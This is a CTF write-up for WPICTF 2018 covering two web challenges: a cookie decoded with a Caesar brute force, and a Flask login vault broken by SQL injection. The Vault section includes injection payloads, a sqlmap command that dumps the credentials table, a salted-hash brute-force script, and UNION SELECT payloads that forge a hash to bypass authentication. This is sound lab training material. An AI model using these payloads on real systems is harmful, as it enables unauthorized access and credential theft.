WPICTF 2018 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : WPICTF 2018
  • Website : wpictf.xyz
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

150 - Dance - Web#

https://dance.wpictf.xyz

by binam

TL;DR: intercepting proxy, base64 flag cookie, Caesar bruteforce

The URL is using a HTTP 302 to redirect us to Rick Astley - Never Gonna Give You Up youtube video.

Making the request with Burp Suite Repeater,

GET / HTTP/1.1
Host: dance.wpictf.xyz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 0
Connection: close
Upgrade-Insecure-Requests: 1

we obtain the following result:

HTTP/1.1 302 FOUND
Server: nginx/1.13.12
Date: Sun, 15 Apr 2018 09:50:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 309
Connection: close
Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s
Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/
Set-Cookie: Julius C.="got good dance moves."; Path=/
Strict-Transport-Security: max-age=31536000

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s">https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s</a>.  If not click the link.

The value of the flag cookie is a base64 string but gives us nothing when we decode it.

The second cookie Julius C. let us think this is about the Caesar cipher.

By doing a Caesar bruteforce, we can get the following base64 string with a +17 shift: V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=.

Here was my ruby script to do some case sensitive Caesar bruteforce:

#!/usr/bin/env ruby

# from https://gist.github.com/matugm/db363c7131e6af27716c
def caesar_cipher(string, shift = 1)
    # lowercase
    alphabet_low   = Array('a'..'z')
    encrypter_low  = Hash[alphabet_low.zip(alphabet_low.rotate(shift))]
    # " " => c because I don't want to void non-letters chars
    first_pass = string.chars.map { |c| encrypter_low.fetch(c, c) }.join

    # uppercase
    alphabet_up   = Array('A'..'Z')
    encrypter_up  = Hash[alphabet_up.zip(alphabet_up.rotate(shift))]
    second_pass = first_pass.chars.map { |c| encrypter_up.fetch(c, c) }.join
end

text = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx="

(1..25).each do |i|
    puts "#{i}: " + caesar_cipher(text, i) + "\n"
end

Then, we can decode the flag:

$ printf %s 'V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=' | base64 -d
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}

200 - Vault - Web#

https://vault.wpictf.xyz

by GODeva

In the source of index.html we can read the following HTML comment:

<!-- Welcome to the the Fuller Vault
- clients/clients.db stores authentication info with the following schema:

CREATE TABLE clients (
  id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
  clientname VARCHAR(255),
  hash VARCHAR(255),
  salt VARCHAR(255)
); -->

So I guess that we need to find a SQL injection to dump the database.

By inserting a single quote in the clientname field of the form we get an error:

File /home/vault/vault/secretvault.py, line 58, in login

connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))
pointer = connection.cursor()
search = """SELECT id, hash, salt FROM clients
           WHERE clientname = '{0}' LIMIT 1""".format(clientname)
pointer.execute(search)
res = pointer.fetchone()
if not res:
    return "No such user in the database {0}!\n".format(clientname)
userID, hash, salt = res

So now we know there is a Python backend running Flask and we know the SQL query used.

This payload Goutham' OR '1'='1-- - confirms the SQL injection and this one Goutham' AND 1=randomblob(1000000000)-- - confirms it again.

So I read the SQLmap wiki to build a useful SQLmap command:

$ sqlmap -u https://vault.wpictf.xyz/login --method=POST --data='clientname=Goutham&password=b' -p clientname --dbms SQLite --random-agent -T clients -C clientname,hash,salt --dump --risk 3

So we obtain the following data from the database:

  • clientname: Gaines
  • hash: ae6b2b347fd948b39a126e71decfc1cc411925a1ddc9f995949517d983fb027b
  • id: 1
  • salt: leoczve
  • clientname: Goutham
  • hash: 6bad0bd9907898e3c7d6b2139241ac7591a4556b2f9fbc41ed15a31e6d2df738
  • id: 2
  • salt: nepdrqs
  • clientname: Binam
  • hash: 49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7
  • id: 3
  • salt: cseerlb

The hash used seems to be SHA-256:

$ hashid 49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7
Analyzing '49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)

I tried to bruteforce them with my ruby script:

#!/usr/bin/env ruby
require 'digest'

usermap = {
    1 => {
        clientname: 'Gaines',
        hash: 'ae6b2b347fd948b39a126e71decfc1cc411925a1ddc9f995949517d983fb027b',
        salt: 'leoczve'
    },
    2 => {
        clientname: 'Goutham',
        hash: '6bad0bd9907898e3c7d6b2139241ac7591a4556b2f9fbc41ed15a31e6d2df738',
        salt: 'nepdrqs'
    },
    3 => {
        clientname: 'Binam',
        hash: '49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7',
        salt: 'cseerlb'
    }
}

usermap.each do |id, client|
    File.readlines('/home/noraj/CTF/tools/dict/rockyou.txt').each do |pass|
        if Digest::SHA2.new(256).hexdigest(pass.chomp + client[:salt]) == client[:hash]
            puts "#{value}, #{pass}"
        elsif Digest::SHA2.new(256).hexdigest(client[:salt] + pass.chomp) == client[:hash]
            puts "#{value}, #{pass}"
        end
    end
end

But I didn't get anything.

An admin gave me a hint: The goal is to trick the database when checking for a hash..

And they said on the Discord channel that bruteforce is not needed.

Note : I did this part after the end of the CTF.

Ok let's think this time before using force.

We know there is 3 columns in the query so let's try this: invalid' UNION SELECT 1,1,1-- -.

We get an useful error again:

res = pointer.fetchone()
if not res:
    return "No such user in the database {0}!\n".format(clientname)
userID, hash, salt = res
 
calculatedHash = hashlib.sha256(password + salt)
if calculatedHash.hexdigest() != hash:
    return "Invalid password for {0}!\n".format(clientname)
 
flask.session['userID'] = userID
return flask.redirect('/')

As we can't break Goutham's password we may use UNION to provide another row with the hash we want, using a comment -- will allow us to bypass LIMIT 1. This way we will be able to provide arbitrary stuff in order to trick hashlib.sha256(password + salt).

Knowing the database and the hashing scheme we can compute a new hash and force the server to use it:

$ printf %s%s 'rawsec' 'nepdrqs' | sha256sum
9c1e78c30e9721805b44701a05476086312741b6114334e3c312b87da7f95e4a
  • clientname: invalid' UNION SELECT "2", "9c1e78c30e9721805b44701a05476086312741b6114334e3c312b87da7f95e4a", "nepdrqs"--
  • password: rawsec

Without knowing the database content but knowing the hash scheme is easy too, we can pick the id from the database and also overwrite the salt:

$ printf %s%s 'rawsec' 'noraj' | sha256sum
4541356add1076a04e4a340b7cb573c9533fc025b0b9af7be0203af216eaa13e
  • clientname: invalid' UNION SELECT id, "4541356add1076a04e4a340b7cb573c9533fc025b0b9af7be0203af216eaa13e", "noraj" FROM clients WHERE clientname = "Goutham"--
  • password: rawsec

But for those who didn't discovered the hash scheme with the second error message it is also possible to provide a void string so prefix or suffix salt will have the same behavior:

$ printf %s%s 'rawsec' '' | sha256sum
fc924c26cc88170d40d708e7eaf654b6dc6d1fb8b17bea1510eca639511833a1
  • clientname: invalid' UNION SELECT id, "fc924c26cc88170d40d708e7eaf654b6dc6d1fb8b17bea1510eca639511833a1", "" FROM clients WHERE clientname = "Goutham"--
  • password: rawsec

Why Goutham? Because the comment on the page suggests it.

So we get the flag: Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}".

Share